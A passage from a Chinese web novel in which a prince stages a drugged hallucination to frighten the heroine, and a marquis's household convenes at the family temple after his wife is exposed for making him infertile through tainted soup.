“哗啦啦——” 下一秒，一个黑色的铁皮盒子出现在他手中。 “本王给你带了礼物，你看看喜不喜欢？” 苏舒窈坐起来，看清了他手上的物什—— ——取下三白眼头颅的那个铁皮盒子。 上面残留着斑驳的血迹、深褐色的血块。 苏舒窈微微皱了皱眉。 九殿下又拿这种脏东西来吓她。 “我不怕这个。” 楚翎曜眯起眼，像只干了坏事的猫。 他的目光带上了审视：“你的样子不像是不怕。” “我只是觉得很脏，血腥味把殿下身上好闻的香气都冲散了。”苏舒窈的语气很平稳，像是潺潺溪水，缓缓地、有节奏地流动。 楚翎曜将黑色铁皮盒子举到苏舒窈眼前：“你没认出来这是什么？” “认出来了。”苏舒窈耐心解释道：“这个东西很脏，我不喜欢脏东西。” “我喜欢殿下这样香香的、干干净净的。” 楚翎曜：“......” 眉间褶皱再次加深了几分，眼眸寒霜几乎要冰冻眼前的一切事物。 这个可恶的女子，把他当成什么了？ 任人揉搓的宠物？！ 还香香的？ 楚翎曜快要气炸了。 苏舒窈解释得很详细，希望下次九殿下次别带这种脏东西来了。 “殿下走的时候，记得把这个铁皮盒子带走。” 楚翎曜：“......” 心头再一次涌上熟悉的挫败感，呼吸逐渐加重，呼出的气息越来越热。 “谢谢殿下。”苏舒窈微微低着头，视线落在楚翎曜的左手上。 他的左手撑在床上，没戴手套。 手指苍白、细长，指甲圆润，手背青筋凸起，像一件艺术品。 “谢谢殿下帮我处理了对我出言不逊之人，谢谢殿下帮我惩罚了苏明添。” 苏舒窈握上他的手，微凉的触感。 楚翎曜身形一顿，像只被冒犯的猫。 “哐当——” 铁皮盒子落在地上，发出清脆的声响。 楚翎曜脸上戴着恶鬼面具，看不到表情。 但裸露在外的脖颈瞬间被染成了樱粉色。 苏舒窈的视线落在他的脖颈上，他的喉结很大，皮肤苍白，上下滚动的时候，一颗米粒大小的黑痣也随之滑动。 像落在雪地的黑芝麻。 苏舒窈知道，他又慌了，很有可能逃跑。 有些疑惑，握手明明不会有这么大的反应？ 他又怎么了？ 午后的日光透过窗棱洒在地上，泛起一层浅淡的金色。虽然窗户被幔帐遮挡，屋内依然明亮。 苏舒窈瞬间明白，原来九殿下对光线敏感。 太亮了，他不自在。 黑夜才是他的舒适区。 越来越像猫了。 苏舒窈松开手，改为捏住他的食指。 耐心地等到手指的僵硬慢慢减退，她才重新覆盖上去。 没敢十指交扣，只是轻轻握住。 小心翼翼。 怕他又跑了。 真的像是在诱拐一只小兽。 楚翎曜取下了面具。 他长得很好，五官介于少男和少女之间那种昳丽，像朵摄人心魄的妖花。 皮肤冷白，像是冰凉的雪。 难得有机会这么近看人，还是在大白天，还能看得这么清楚。 苏舒窈看得入神。 “你又在干什么？”楚翎曜语气依然冷硬，但仔细听就会发现，语气透着一股别扭。 他知道苏舒窈在看他。 他知道自己长得好，很多女子都会这样看他。 他想听听，苏舒窈那张嘴，又会说出什么样的谎言来。 “殿下太好看了，我看得有些失神。”苏舒窈很诚实地回答：“殿下是我见过最好看的男子。” 楚翎曜冷笑一声，“肤浅。” 不过又是一个被他皮囊迷惑的女子。 “对，我很肤浅。”苏舒窈爽快承认。 几乎人人都喜欢美好的事物，她并不为此感到耻辱。 “狡辩。”楚翎曜似乎并不满意这个答案，眸底弥漫上一层黑雾。 “本王的脸要是毁了，你还会喜欢吗？” 一把匕首忽然出现在楚翎曜手中，他冷着脸，将雪白的刀刃贴到苏舒窈脸颊上，激得一小块皮肤绷紧起来。 缓缓将被她握紧的手抽了出去。 苏舒窈眉心微微皱起。 松木香气越来越浓，浓到让人发吐。 她想做出一点反应，却发现，自己动不了。 紧接着，楚翎曜将匕首从她脸上移开，落在了自己脸上。 “你睁大眼看清楚，这样的我，你还喜欢吗？” 然后，苏舒窈眼睁睁看着刀刃刺进皮肤，缓缓在脸上划出一道道血痕。 皮肤被割开，露出猩红的血肉、森白的骨头。 鲜血从冷白的皮肤中喷涌而出，顺着脖颈慢慢往下淌。 “不要——” 苏舒窈的瞳孔骤然放大。 她想阻止，却动不了。 眼睁睁看着那张漂亮的、宛如妖花一般的脸，在她眼前变得血肉模糊...... “这样，你还喜欢吗？” 楚翎曜的声音再次在耳边响起，吐息燥热，语气冰凉，透着一股恶趣味。 “害怕吗？” “还想吻我吗？” “恨不得马上逃得远远的吧......” 眼前的场景好似一场梦，苏舒窈的呼吸变得急促，眼眶慢慢湿润。 不知道什么时候，她可以动了。 “我害怕。” 苏舒窈缓缓靠过去，双手捧着那张血肉模糊的脸，吻了上去。 “但，依然想吻殿下。” 第92章 生病 “大小姐，都睡了一个多时辰了，该起了！”秋霜在外面喊了两声。 苏舒窈睁开眼睛。 此时此刻，她正静静地躺在床上。 房间里，灰尘在阳光中肆意飞舞。 那个肮脏的铁皮盒子还在地上，恶鬼面具也在床上。 九殿下来过，刚刚不是梦。 想到之前的场景，苏舒窈心跳陡然加速，全身血流加快。 九殿下用匕首划烂自己的脸，血肉模糊地看着她笑。 为了让她害怕，九殿下竟然伤害自己？ 她被吓坏了，可是，她依然捧着他的脸，吻了他的唇，吻了他脸上的伤口。 当她吻上九殿下脖子上那颗小痣的时候，她被推开了。 九殿下眼中出现一抹仓皇。 他又逃了。 然后她再次闻到那股让人作呕的松木香气，紧接着，她昏睡了过去。 苏舒窈张开手，手上并没有血。 唇上、脸上、衣服上、床单上都没有血。 九殿下逃得很狼狈，铁皮盒子都没带走，更不会贤惠地帮她换床单，擦干净手脸。 难道刚才是幻觉？ 可是，感觉却那么真实。 她感受到九殿下的皮肤从冰凉变得滚烫，她感受到他脖颈间跳动的脉搏，燥热的吐息...... 她甚至听到了他剧烈的心跳声。 苏舒窈揉了揉唇瓣，上面似乎还残留着九殿下的体温。 亲吻是真，用刀割脸是假。 听说锦衣卫有一种能让人产生幻觉的药物，专门用来审问犯人。 苏舒窈觉得自己发现了真相。 她叹了口气。 不知道九殿下下一次出现，会不会戴上面具，假装脸受伤？ 下一次见面，恐怕又会隔很久。 ~ 楚翎曜觉得自己生病了。 他藏在房梁上，全身微微发颤。 心跳比平常剧烈数倍，脉搏狂跳，呼吸也变得急促。 尤其是被她吻上的时候，他感到一股莫名其妙的心悸，紧接着呼吸骤停，整个人差点晕厥。 身体难受，但胸口又像是被塞了什么东西，酸酸的，胀胀的，有种说不出的快感。 苏舒窈像一只摄魂的女妖，把他迷惑了。 明明他才是那个下药的人，他让她产生了幻觉，到头来，却是他失了态。 楚翎曜冷眼看着躺在床上的苏舒窈，连续深吸了好几口气，才勉强平复。 他开始复盘，为什么他的脸狰狞无比，血肉模糊，她还吻得下去？ 难道她真的不是被他的外表迷惑？ 楚翎曜百思不得其解。 最后得出一个结论：苏舒窈有病，还把他给传染了。 他要回宫召太医看诊。 楚翎曜行动力很强，立刻回到宫里，召来太医院院正。 从威远侯府回到皇宫，大约过了半个时辰，他的心跳还未完全平复，脸颊也还在发烫。 一想到苏舒窈触碰到脖颈的感觉，一股战栗感便席卷全身。 太医院院正把完脉，检查完舌苔，收起脉枕：“殿下身体康健，精气充沛，只是有些火旺。” 楚翎曜眉心微微皱起：“不是生病？” 太医院院正摇摇头：“不是。” “有没有可能被下毒了？”他的嘴唇上现在都还有种酥酥麻麻的痒意，他合理怀疑苏舒窈吻他的时候给他下毒了。 太医院院正依然摇头：“殿下没有中毒。” 楚翎曜脸色一沉：“又没生病又没有中毒，那本王究竟怎么了？” 太医院院正睨了一眼下面，小声道：“殿下还是处子吧，殿下这个年龄，有点正常的生理冲动，很是正常，只要把火泄出来，就好了，药都不用吃。” 楚翎曜：“......” 太医院院正被赶了出去。 “这个庸医，是怎么成为太医院院正的？！” 内侍在一旁小心伺候：“殿下，要不换个太医？” 楚翎曜没有说话。 内侍又道：“殿下，要不要选两个试婚宫女？” ——试婚宫女，宫中专门负责引导皇子了解“男女之事”的宫女。 楚翎曜一把掀了桌子。 内侍惶恐地退了出去。 差点就触碰到九殿下的逆鳞了。 ~ 苏舒窈起来换了衣服，把秋霜喊了进来。 “那个铁皮盒子，洗干净放进箱笼里。” 秋霜一开始收拾血滴子的时候，还会腿软，现在见到和血滴子差不多的铁皮盒子，已经能做到面不改色拎在手中了。 “大小姐，这又是什么？” “捕猎工具。” 秋霜没有多问，拎着铁皮盒子出去淋水。 苏舒窈捡起恶鬼面具，仔细看了看，也放进了箱笼。 箱笼里的凶器是越来越多了，下次一定要让九殿下拿两样回去。 刚收拾完，春景园就有小丫鬟来叫人。 苏舒窈简单收拾了一下，跟着小丫鬟去见万氏。 威远侯下了死手，万氏被打得很惨，半张脸肿得像个馒头，右眼青紫一片，肿成了青蛙眼，牙也被打掉了一颗。 “夫人。”苏舒窈请安。 万氏躺在罗汉床上，缓缓睨了苏明珠一眼。 苏明珠开口道：“大姐姐，母亲问你，给二哥哥的医师请来了吗？” 苏舒窈：“请来了，已经送到二少爷院子里去了。” 万氏有些诧异。 鬼医这么快就请来了？ 上一世，苏舒窈请鬼医可是花了不少时间的。 既然请来了，苏舒窈也是没用了。 遗憾的是，现在她脸上有伤，又被禁足，不能亲自把苏舒窈带去恭王府。 苏明珠拿出一个巴掌大小的檀木盒子递过去：“姐姐，还要劳烦你跑一趟，亲自将这个盒子送到恭王府。” 苏舒窈接过檀木盒子：“现在？” 苏明珠眼中闪过一抹窃喜：“是的，二哥哥受了伤，怕是要将养一段时日，这段时间都不能在恭王世子面前露脸，时常送些东西过去，不至于让恭王世子这么快把二哥哥忘记，等二哥哥痊愈，还要靠恭王世子引荐入金吾卫的。” 万氏开口道：“苏舒窈，为了明添的前程，你愿意牺牲的吧？” 又来了，动不动就要她牺牲。 只要她拒绝，便是没有良心、没有孝心。 苏舒窈没有回答，淡淡一笑：“夫人，我酉时出门去送，行不行？” 现在距离酉时，不到小半个时辰。 万氏点头同意了。 苏明珠走到苏舒窈面前，夸张地捂着嘴，语气带了一丝戏谑：“姐姐真是越长越好了，姐姐要是得了贵人青睐，可千万别忘记我们哦。” 苏舒窈看她一眼，淡淡一笑：“这话说的，倒像是妹妹自己惦记着贵人青睐，偏偏长相不如意，才到我面前说酸话。” 苏明珠被噎了一下，气得脸红。 暗自咬牙切齿：等你被恭王世子玩烂了，还能这般得意？！ 第93章 开家庙 苏明珠忽然觉得，以往闷不做声的苏舒窈，嘴皮子越来越利索了。 在万氏这里，苏明珠可不会吃亏：“今日父亲折辱母亲的时候，姐姐为什么袖手旁观？” 苏舒窈觑她一眼：“妹妹不也是袖手旁观？” 苏明珠怒道：“你胡说八道，我明明拦在中间，不让父亲伤害母亲！” 苏舒窈的语气淡淡的：“是吗，我可是看得清楚，侯爷伤害夫人的时候，你吓得躲在庞妈妈身后，侯爷打完了你才站出来的。” 苏明珠转头抓住万氏的胳膊，赤红白脸争辩：“母亲，我没有，姐姐胡说八道！母亲信我！” 苏舒窈的表情始终淡淡的，眼睁睁看着想要挑事的苏明珠自己先破防。 万氏：“好了，别说了！” 再说下去，她都要怀疑明珠的真心了。 她盯着苏舒窈的脸，来回扫视。 苏舒窈最近越发咄咄逼人，在她面前说话完全没有顾忌，难道她在外面偷偷找了靠山...... 万氏思索间，苏明沛被抬了进来：“母亲，快跟儿子来，儿子抓到了乔姨娘的把柄，此次定能将她发卖了！” 万氏听说要卖乔姨娘，眼神一亮：“究竟是什么事？快细细说来。” 苏明沛卖了个冠子：“母亲别问那么多，跟着儿子去就是。” 不是他不告诉母亲，父亲和母亲关系紧张，就怕卖了乔姨娘，父亲迁怒母亲。 母亲知道的越少越好。 他要保护母亲。 等科举结束，他高中之后，父亲自然不敢怨恨他。 他是嫡长子，是时候挑起整个侯府的重担了。 “来人，拿上帷帽，把母亲抬上，跟我一起走！” 万氏有些犹豫：“侯爷说了要禁足。” 苏明沛信誓旦旦道：“母亲放心，出了事儿子兜着，你信儿子！” 重生之后，万氏对苏明沛更加看重，看着苏明沛现在就有了上一世的官威，她很是欣慰。 “明沛，母亲没有白疼你。” 一派母子情深。 苏舒窈冷眼看着，不知道待会儿苏明沛知道他的生育也被影响，母子感情还会不会这么牢靠？ 没一会儿，苏明添也被抬过来了。 一家子浩浩荡荡往家庙赶去。 等万氏上了马车，苏舒窈故意落后一步找到苏明沛：“世子，我们这么大的阵仗，就怕乔姨娘听到风声......” 苏明沛冷笑一声：“那就干脆直接绑了一并送去家庙，等商量好，马上发卖，免得夜长梦多。父亲已经接到族长通知去了家庙，你先跟着去，我马上让人去绑人。” 苏舒窈浅浅一笑：“世子考虑得极为周到。” 威远侯也往家庙赶。他还以为是族中出了事，走到门口，看到万氏一行人，才发觉没对。 “明沛、明添、明珠、明芷，你们怎么也在这里？” “万氏，本侯不是让你禁足的吗？” 万氏撩开帷帽，看清家庙的牌匾，眉心一皱：“苏明沛，究竟怎么回事，怎么到这里来了？” 苏明沛还没来得及回话，万氏两个哥哥嫂嫂也来到了门口。 万大哥看到万氏脸上的伤，一个箭步冲了过来：“妹妹被谁打了？！” 他转头等着威远侯，质问道：“妹妹究竟犯了什么错，你要这般殴打她？！” 万二哥和两个嫂嫂也围了上来：“小妹，你没事吧？” 万氏直觉有些不妙，看向苏明沛：“你怎么把我哥哥嫂嫂叫来了？” 苏明沛劝道：“母亲别怕，儿子定不会让母亲无缘无故挨了父亲的打。” 万氏还要再说，万大嫂拉着万氏的手：“小妹，你别怪明沛，明沛这孩子孝顺，他也是关心你。” 万大哥当即指着威远侯的鼻子骂道：“我们万家的女儿，岂能让人随意折辱？！当初你求娶的时候，是怎么承诺的？！现在又是怎么对待我妹妹的？！” 万氏上前拦住人：“大哥，我没事，不小心撞到的，有什么事回去再说。” 苏明沛：“母亲，你别担心，儿子还请了族长和族中长辈，定能为母亲做主！” 万氏大惊：“什么？！” 还请了族长和族中长辈？！ 她真是掐死苏明沛的心都有了。 这件事闹大了，对她一点好处都没有。 给侯爷下药导致不育，被族中发现那可是死罪！ 万氏憋得满脸通红，拉着人往外走：“胡闹什么，我不过和侯爷拌了口角，夫妻之间，哪有一辈子平平顺顺的，有点磕磕绊绊很正常。” 威远侯死要面子，更是不可能让外人知晓此事。 但他被下药，心里也憋闷恼怒，语气自然也蛮横不讲理：“万氏，这件事，你最好干净利索解决了！否则，你怎么死的都不知道！” 万大哥冷笑一声：“苏则遂，怎么着，当着这么多人的面就要弄死我妹妹了？你好大的官威！” 万氏拉着人要回，万大哥抓住威远侯的领子不肯罢休。 万氏在娘家的时候，两个哥哥对她多有宠爱，尤其是万大哥，看到万氏满脸是伤，恨不得直接上前给威远侯邦邦两拳。 苏舒窈见他们闹成一团，淡淡一笑，默默退到门口。 没一会儿，族长来了，苏舒窈赶紧迎上去，“五伯爷，你可要救救侯爷啊，夫人娘家兄弟要打杀了侯爷！” “大丫头，出了什么事，你慢点说！” 苏舒窈面露焦急：“我也不太清楚，万家两个舅舅凶神恶煞的，像是要吃人！” 族长最是护短，听说自家子侄吃了亏，马不停蹄往里赶。 苏舒窈等人一进门，悄声吩咐下人把大门关紧了。 “什么事这么热闹啊？！” 族长进门就看到万大哥在打威远侯。 万大哥一只手抓住威远侯的领子，拳头都挥到了威远侯鼻尖，万氏抱着大哥的手哭求放手。 万氏看见族长，眼皮子一跳：“五表叔，没什么，一点家事，麻烦你跑一趟，我们马上就走。” “来都来了，还是说清楚的好！”族长拄着拐杖，慢慢走了进来。 见着自家子侄吃亏，他自然没有好脸色：“嫁出去的女儿，泼出去的水，万氏嫁进苏家，就是苏家妇，是生是死都和你们万家没关系了。苏家妇犯了错，我们还罚不得了？侯爷你也硬气些！” “你们苏家好霸道！”万大哥捏紧了拳头：“摆明了要欺凌妇孺是不是？族长，你要不要看看我妹妹，被打成什么样子了？！” 万大嫂也站了出来：“关键是侯爷打人，也没个说法，我们家小姑有错我们都认，问题是不能无缘无故想打就打啊！” “你们苏家还有没有王法？！” 第94章 打听 两方争执不下，越吵越厉害，最后，族长被人扶着坐上了主位，大声呵斥下，在场众人终于安静下来。 “侯爷，你为何打人？” 威远侯咬紧牙关，没说话。 他恶狠狠瞪着万氏，双眼冒火，恨不得一口把万氏给生吞了。 “万氏，你个贱人，你惹出来的烂摊子，你自己看着收拾！” 万氏一脸惶恐：“明沛，先回去，回去再说，这事不是侯爷的错。” 苏明沛见不得母亲受委屈，大声质问道：“父亲，你何故殴打母亲？！” 苏明添也跟着开口：“父亲，是不是乔姨娘从中挑拨？父亲，区区一个妾室，怎么能越过母亲，父亲，你糊涂啊！” 苏明珠也道：“父亲，我们没有怪你，我们知道，你始终为我们着想，你也只是被乔姨娘的花言巧语蒙蔽。父亲，乔姨娘留不得了，这种祸家根源，应该尽早处理。” 苏明芷什么没说，傻乎乎站在万氏身边。 万氏急得好似热锅上的蚂蚁：“你们别说了，都是我的错，与侯爷无关，你们不要逼侯爷！” “明沛，你是大哥，快带几个弟弟妹妹回去！” “侯爷，今日之事并非妾室所愿，妾身马上就让他们回去！” 万氏泪流满面地看着几个子女、两个哥嫂：“我求求你们了，先回去，先回去，回去再说。” “都别说了，再说，我立刻撞死在这里！” 万家两个哥哥有些犹豫了，妹妹这个样子，莫非真的有什么苦衷。 妹妹并非软弱的性子，相反，妹妹当姑娘的时候一点亏也不能吃，这些年嫁入侯府，也过得风生水起。 万大哥给万二哥递了个眼色，示意先退一步。 苏舒窈瞧着情况不对，走到万二哥身后，悄声叹了口气：“夫人真是被磋磨得很了，都这个时候了，还在为侯爷辩解。” 万二哥最是心疼万氏，看到妹妹满脸青紫，心中早就积了一肚子火气。 苏舒窈这句话像是引子，轻而易举便挑起万二哥心中怒火。 “侯爷，宠妾灭妻，可是会被御史弹劾的！” 万二哥当即就表示，明儿就朝宫里递折子，就算拼着这身官服，也要为妹妹讨个说法。 族长这边也表示，完全不怕，他们要是觉得不满意，就把万氏接回万家！ 威远侯容忍功夫真是了得，都闹成这个样子了，他都还不揭露真相。 苏舒窈浅浅一笑，无妨，再加一把火就是。 正在大家吵得不可开交之际，乔姨娘被带了进来，扔在众人中央。 她被捆了双手，嘴上也塞了布。 头发凌乱地散在肩头，一双水汪汪的眼睛蓄满了泪珠。 睫毛被泪水晕湿，颤颤巍巍地抖动着。 她什么也不能做，只是一错不错地看着威远侯，眼含深情。 脆弱得让人心颤。 威远侯死死盯着万氏：“万氏，你凭什么发卖乔姨娘？她什么都不知道！” 万氏摇头：“没有，侯爷，你误会妾身了。” 相比乔姨娘的好颜色，万氏一脸青紫，面部肿胀，简直让人不忍直视。 威远侯看着万氏那张脸，恨不得再邦邦打上两拳。 万大嫂：“小姑别怕，大家都站在你这边，这种祸家的玩意儿，没有打杀只是发卖，都是便宜她了！” 威远侯看着几个子女全部站在万氏那边，万氏哥哥嫂嫂那么咄咄逼人，只觉得遍体生寒。 再看到被乔姨娘那朵娇花被摧残得不成样子，终于忍不住了。 “看来你们很想知道，本侯爷为什么要殴打万氏？！” 在场众人一致点头，只有万氏一脸惊恐：“侯爷冷静，千万不可一时冲动！” 万氏想要冲上去抱着威远侯，苏舒窈上前一步拉住万氏，轻声安抚：“夫人不怕，我们都站在夫人这边的。” 威远侯看了眼柔弱可怜的乔姨娘，颤颤巍巍指着万氏，终于狠下心开口道： “这个毒妇，给本侯下药，害得本侯没了生育！” 此话一出，整个家庙都安静下来。 万氏两个大哥沉默了，苏明沛几兄妹也沉默了。 族长和几个族中德高望重的长辈也沉默了。 万氏脑子里绷紧的弦，“咔嚓”一下断裂了。 苏明沛完全没想到会是这个原因，惊讶得差点从床板上滚了下来。 他看着母亲，嘴巴张开，不知道该说什么好。 万氏身体摇晃了两下，差点晕过去。 苏舒窈架着她的胳膊，将她稳稳扶住：“明珠妹妹，又想袖手旁观了，还不快来扶着夫人。” 苏明珠也没想到，母亲竟然这么恶毒。 她怕被母亲连累，又怕被父亲记恨，故意退后一步，现在被苏舒窈点破，不得不过来扶着母亲。 一人扶一边，保证她待会儿挨打的时候也是站着的。 下一秒，族长走到万氏面前，一巴掌打过去：“你这个毒妇！” “万大人，令妹还是带走吧，我们苏家要不起！” 苏家长辈站出来，“族长，不能这么轻易放过她。伤害侯府子嗣，按照族规，应该立刻处死！” 万大哥看向万氏，万氏一脸灰白，一声不吭。 想必是真的。 他走到苏家长辈面前，鞠了一躬：“这位族叔，我想请问，妹妹怎么伤害侯府子嗣了？伤害哪个子嗣了？” 苏家长辈怒骂：“她这比伤害子嗣还严重！！” 万大哥大声道：“妹妹为侯爷生了两儿两女，处死妹妹也就一句话的事。但，明沛守孝，明年如何科举？孩子全都在，眼睁睁看着他们的母亲被处死，他们心里怎么想。再说了，侯爷年岁也大了，就算要生，也生不了几个。” “我承认，妹妹做了错事，你们要罚她，我们也认。但处死，大可不必！” 提到影响苏明沛科举，威远侯果然动容了。 ~ 苏明沛一行人被赶了出去，几个长辈关着门商议万氏的处罚。 苏舒窈知道，万氏死不了，但就算死不了，也讨不到好。 威远侯没有庶子庶女，对苏明沛几人来说，算是好事。 此事揭发出来，苏明沛几人依然站在万氏这边，尤其是苏明沛，坚定地维护万氏。 一派母子情深。 “依我看，母亲会被送到家庙，为家族祈福。家庙的日子清贫艰苦，但只要等到科举放榜，我就有能力将母亲接回来。” 苏明珠也道：“要是母亲去了家庙，我们每日送去吃食换洗衣裳，母亲也不会太难过。” 苏舒窈没有说话，静静地听着他们商议怎么帮助万氏。 等他们商量完毕了，苏舒窈开口道：“世子，你知道夫人是怎么让威远侯不育的吗？” 苏明沛摇了摇头：“你去打听一下。” 苏舒窈笑着应了。 等苏舒窈回来，大家已经商量得差不多了，保证万氏去了家庙，也能过得轻松。 苏舒窈开口就打破了这份和谐：“夫人是在给侯爷的汤里下了影响生育的粗制棉籽油。” “侯爷说，夫人送的汤，世子也喝了不少。” 第95章 糊涂 苏舒窈的话好似一道惊雷，直接把苏明沛给炸了个外焦里嫩。 “你，你说什么？！” 苏舒窈将话重复了一遍：“夫人给侯爷送的汤里下了让男人不育的药。侯爷心疼世子，夫人送来的汤，给世子送了不少，世子应该也喝了不少。” 苏明沛眼前一黑，差点晕了过去。 “不、不可能！！！” 他嘴上说着不可能，心里却万分笃定苏舒窈说的是真的。 ——从他十三岁起，父亲就偶尔送汤给他喝，父亲说，汤水大补，用了不少珍贵药材。 他觉得味道不错，每次都喝得干干净净。 上一世，怪不得他一个子女都没有。 唐氏到处求医问药，始终怀不上。 他一直以为是唐氏没福气。 后来唐氏给他纳了妾，那些妾室还是怀不上。 他以为，是唐氏善妒，偷偷在背地里搞鬼，害得他没有子嗣。 原来，问题出在他身上...... 苏明沛只觉得通体发寒。 前一秒，他还为了维护母亲思来想去，下一秒，他真的想把母亲一锤子擂死！ 母亲怎么那么糊涂啊！！！ 这种阴毒之事，为什么不谨慎一些，连着把他也害了！ 苏明沛整个人仿佛陷入了无尽的深渊，胸口钝痛，喘不过气来。 苏明珠握住他的手，“大哥哥，你应该没那么严重，你这么年轻，肯定能医治的。” 苏明沛回握住苏明珠的手。 是啊，幸好这一世发现得早，他喝的汤没有父亲多，求医问药他还有救。 二弟腿断了，苏舒窈接下来就会为二弟请来鬼医。 鬼医无所不医，到时候调理一下，他肯定能恢复。 更别说月姨娘已经怀上了，只要是儿子，他就不会绝后！ 苏明沛闭上眼，深吸了好几口气，心绪慢慢平复下来。 苏明珠内心纠结万分，她也想起了上一世。 上一世，大哥没有孩子。 这一世，月姨娘好不容易怀上了，大哥终于有后了...... 可是，她心里却依然惦记着月姨娘的嫁妆。 事情都进展了一大半，可不能功亏一篑。 再说了，大哥如果绝嗣，不仅偏宠她，说不定今后还会偏宠她的孩子...... 苏明添则暗自庆幸，幸亏他是嫡次子，父亲对他没那么偏爱，让他逃过了一劫。 苏明添看着大哥的样子，心中难免生出一点小心思。 要是大哥没了生育，这世子之位，岂不是轮到他了...... 苏舒窈静静地站在一旁，冷眼旁观这群人的表情。 简单一思索，便猜到他们的想法。 苏明添想取代大哥成为世子，也不看看他那个残疾，怎么取代。 苏明珠还惦记着搞死月姨娘，霸占月姨娘的嫁妆。 苏明沛估计是在想他这不育之症，能不能医好。 想到这里，苏舒窈上前一步，轻声问道：“世子别太担心，月姨娘能怀孕，说明世子能医治。对了，月姨娘孕吐好一些了吗？” 苏明沛这才想起，他的好妹妹苏明珠还惦记着要害他的一生挚爱呢。 他猛地丢开和苏明珠握在一起的手。 苏明珠愣了愣，“大哥哥，你这是怎么了？” 苏明沛冷哼一声，眼里尽是疏离。 苏明珠慌了，万氏已经失势，她不能失去大哥的偏爱。 “大哥哥，妹妹要是做错了什么，你尽管骂我打我，你别这样，妹妹好害怕，好担心。” “行吧，你过来一下！”苏明沛把苏明珠叫到一边，冷声道：“收手吧，明珠！你做了些什么，我都知道！” 苏明珠身形一颤，“大哥哥，你说什么，妹妹怎么听不懂？” 苏明沛冷笑一声：“你在给阿梨的汤里加了东西，别以为我不知道！苏明珠，你好狠的心！我真是看错你了！” 苏明珠眼珠子一转，全身的神经都绷紧了。 她自以为天衣无缝，怎么被发现的，什么时候被发现的...... 现在没有时间纠结这些问题，要想办法安抚大哥。 苏明珠眼眶一红，好似风中凋零的落叶，眼泪啪嗒啪嗒往下落：“大哥，我，我也是身不由己......” “是母亲让我做的......” 苏明珠忽然有点巴不得万氏去死了。 只要万氏死了，就死无对证。 “我是打算悄悄告诉大哥的，可是，可是母亲那边......”她眼睫一眨，两行清泪梭梭往下流：“大哥，你别怪母亲，母亲也是为了大哥好。母亲说了，明年大哥高中，必定前途无量，要是现在有了庶长子，哪家的贵女愿意嫁进侯府？” “况且母亲还说......” 苏明沛眉心一皱：“母亲还说了什么？” 苏明珠整张脸纠结成一团，好似下了很大的决心，才开口道：“月姨娘毕竟出身青楼，母亲怀疑，月姨娘肚子里的孩子，不是大哥的。” 苏明沛脸上一绿：“胡说八道些什么？！阿梨卖艺不卖身的！多少王孙公子一掷千金为了博取阿梨一笑，阿梨只钟情于我，也只委身于我！” 不知道是为了掩盖心虚，还是出于什么原因。他的声音很大，几乎是咆哮着说出这话。 咆哮的时候，牵扯着屁股上的伤，他也没有减小音量。 苏明珠一把抱了上去：“我知道月姨娘对大哥的感情，大哥和月姨娘的姻缘我也是由衷祝福的，大哥，妹妹之前错了，不该听母亲的，大哥原谅妹妹好不好？” “妹妹一定会保佑月姨娘，盼望月姨娘早日产下麟儿的。” 苏明珠三言两语，成功将矛盾转移到万氏身上。 可怜万氏对此一无所知，还为了帮苏明珠谋划前程绞尽脑汁。 苏明沛把人推开，淡淡道：“看你今后表现。” 他在心中默默给苏明珠打分，苏明珠被扣了好多分，分数已经比苏舒窈还低了。 他的偏爱，只会给真心为他着想的妹妹。 两人刚说完话，一个医师被送进家庙来。 苏明沛也被抬了进去。 经过医师诊脉，确定威远侯的生育果然被毁了，苏明沛因为年轻，坚持吃药针灸，还有一线生机，只不过生机渺茫。 万氏傻眼了。 她万万没想到，会误伤了嫡长子。 那汤，每次都是吴妈妈亲手送过去，看着侯爷喝完才离开的啊！ 可恶的吴妈妈，肯定偷懒了。 吴妈妈死得不冤。 万氏趴在地上，头发乱糟糟的像个疯子：“侯爷，你一定要医好明沛，明沛可是世子啊！” 族长看着糟心的一家子，认真分析：“侯爷，如果世子失去生育，可能要考虑从族中过继子嗣了。” “这威远侯府的爵位，是祖上传下来的，可不能没有继承人。” 威远侯：“族长严重了，我可是有两个儿子。” 除了苏明沛，他还有苏明添呢。 族长想起双腿断裂，躺在床板上被抬过来的苏明添，摇了摇头：“侯爷，事关爵位传承，请你认真一点。” “当初侯爷的大哥因为眼疾失去爵位继承权，苏明添双腿断了，右手也断了，怎么有资格继承？” 万氏没想到这事竟然闹得这么严重：“族长，明添的腿会好的，明添今后还会成为金吾卫大将军！！明添前途无量的！！” 苏明沛眉心紧皱。 他有机会治好的，更何况月姨娘已经怀孕了。 父亲和母亲当着他的面讨论二弟继承侯府的可能性，会不会太过分了！ 第96章 孝顺 苏明沛看着万氏的样子，忽然觉得有点陌生。 他重生过一次，他知道二弟伤好后会进入金吾卫，最后被封为三品大将军。 但，母亲怎么知道的？ 难道母亲也重生了？！ 如果母亲也是重生，那母亲就该知道，她害了他两辈子，不考虑怎么补救，反而在他面前讨论起二弟代替他继承侯府的可能性？ 这真是为人母亲能做出来的事吗？！ 苏明沛心中涌现出一抹心酸，这抹心酸还没经过发酵，又慢慢变成了狠戾。 众人都说母亲偏疼于他，可是他却知道，母亲更喜欢二弟。 二弟嘴甜，从小就会讨长辈喜欢。 他启蒙认字，是外面请的夫子。 二弟的启蒙，是万氏抱在怀里，一笔一划教的。 原本坚不可摧的母子情，瞬间分崩离析。 苏明沛连带着把二弟也恨上了。 族长表情严肃：“反正你们做好最坏的准备，如果世子和明添好不了，嗣子这件事，必须早日提上日程。” “侯爷，你的大哥也有三个儿子，三个儿子已经长大成人了。如果要选嗣子，族中会优先考虑他们。” 威远侯不想继续这个话题，打断道：“先考虑怎么处置万氏吧。” 万家两个大哥都在，苏家人不敢太过分。族中几个长辈商量了一下，一致决定将万氏送进家庙。 “万氏送到家庙里劳作，每日青灯古佛，为自己的罪行赎罪，也为苏家后世子孙祈福。” 万大哥问道：“去几年？” 族长：“十年。” 万大哥没有再争辩，这已经是万氏最好的结局。 如果明沛和明添有了出息，万氏很快就能出来。 万氏的生杀予夺，不过是当权者一句话罢了。 事以自此，万氏也不再挣扎，她蹒跚着走到苏明沛面前：“明沛，母亲最看好的就是你，母亲最不放心的也是你，母亲不希望你因为此事受影响，好好读书，母亲相信你，一定能高中。等母亲出来，为你求医，一定能医治好你的！” 苏明沛偏过头去。 他知道，万氏希望听到他的承诺，承诺他高中之后，救她出去。 但，想到万氏的所作所为，他一句话都没有说。 万氏被人拖下去的时候，眼里满是不解与绝望。 族长动作很快，当天晚上就把万氏送进了家庙的祠堂里。 处理好万氏，威远侯带着乔姨娘回府了。 